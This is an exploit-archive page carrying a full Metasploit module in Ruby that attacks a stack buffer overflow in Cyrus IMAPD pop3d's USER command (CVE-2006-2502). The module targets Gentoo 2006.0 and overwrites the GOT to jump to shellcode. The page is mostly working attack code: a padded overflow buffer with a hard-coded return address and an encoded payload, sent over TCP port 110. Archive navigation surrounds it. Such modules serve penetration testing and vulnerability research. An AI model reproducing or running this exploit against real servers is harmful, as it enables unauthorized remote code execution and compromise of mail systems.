exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow

Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow
Posted Dec 31, 2009
Authored by bannedit, jduck | Site metasploit.com

This exploit takes advantage of a stack based overflow. Once the stack corruption has occurred it is possible to overwrite a pointer which is later used for a memcpy. This gives us a write anything anywhere condition similar to a format string vulnerability.

tags | exploit, overflow
advisories | CVE-2006-2502
SHA-256 | eb9a55064f6e381a97138b188135a0635600efe4ead2bdf62f7751369e16a37e

Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',
'Description' => %q{
This exploit takes advantage of a stack based overflow. Once the stack
corruption has occured it is possible to overwrite a pointer which is
later used for a memcpy. This gives us a write anything anywhere condition
similar to a format string vulnerability.

NOTE: The popsubfolders option is a non-default setting.

I chose to overwrite the GOT with my shellcode and return to it. This
defeats the VA random patch and possibly other stack protection features.

Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with
a version containing the vulnerable code, it is not exploitable due to the
use of the FORTIFY_SOURCE compiler enhancement
},
'Author' => [ 'bannedit', 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 7884 $',
'References' =>
[
[ 'CVE', '2006-2502' ],
[ 'OSVDB', '25853' ],
[ 'BID', '18056' ],
[ 'URL', 'http://www.exploit-db.com/exploits/2053' ],
[ 'URL', 'http://www.exploit-db.com/exploits/2185' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],
],
'Payload' =>
{
'Space' => 250,
'DisableNops' => true,
},
'Platform' => 'linux',
'Targets' =>
[
# bannedit: 0x080fd204
# K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)
[ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],
],
'Privileged' => true,
'DisclosureDate' => 'May 21 2006',
'DefaultTarget' => 0))

register_options( [ Opt::RPORT(110) ], self.class )
end



def exploit

connect

print_status "Banner: #{banner = sock.gets}"

# NOTE: orig poc shellcode len: 84

# kcope: 352+84+86+4 (nops,sc,nops,ret)
# K-sPecial: 84+(120*4) (sc,addrs)
# bannedit: 265+8+250+29+16
shellcode = payload.encoded

buf = "USER "
buf << make_nops(265)
# return address
buf << [target.ret].pack('V') * 2
buf << make_nops(250 - shellcode.length)
buf << shellcode
buf << make_nops(29)
sc_addr = target.ret - 277
buf << [sc_addr].pack('V') * 4
buf << "\r\n"

sock.send(buf, 0)
disconnect

end

end
Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    27 Files
  • 28
    Sep 28th
    8 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close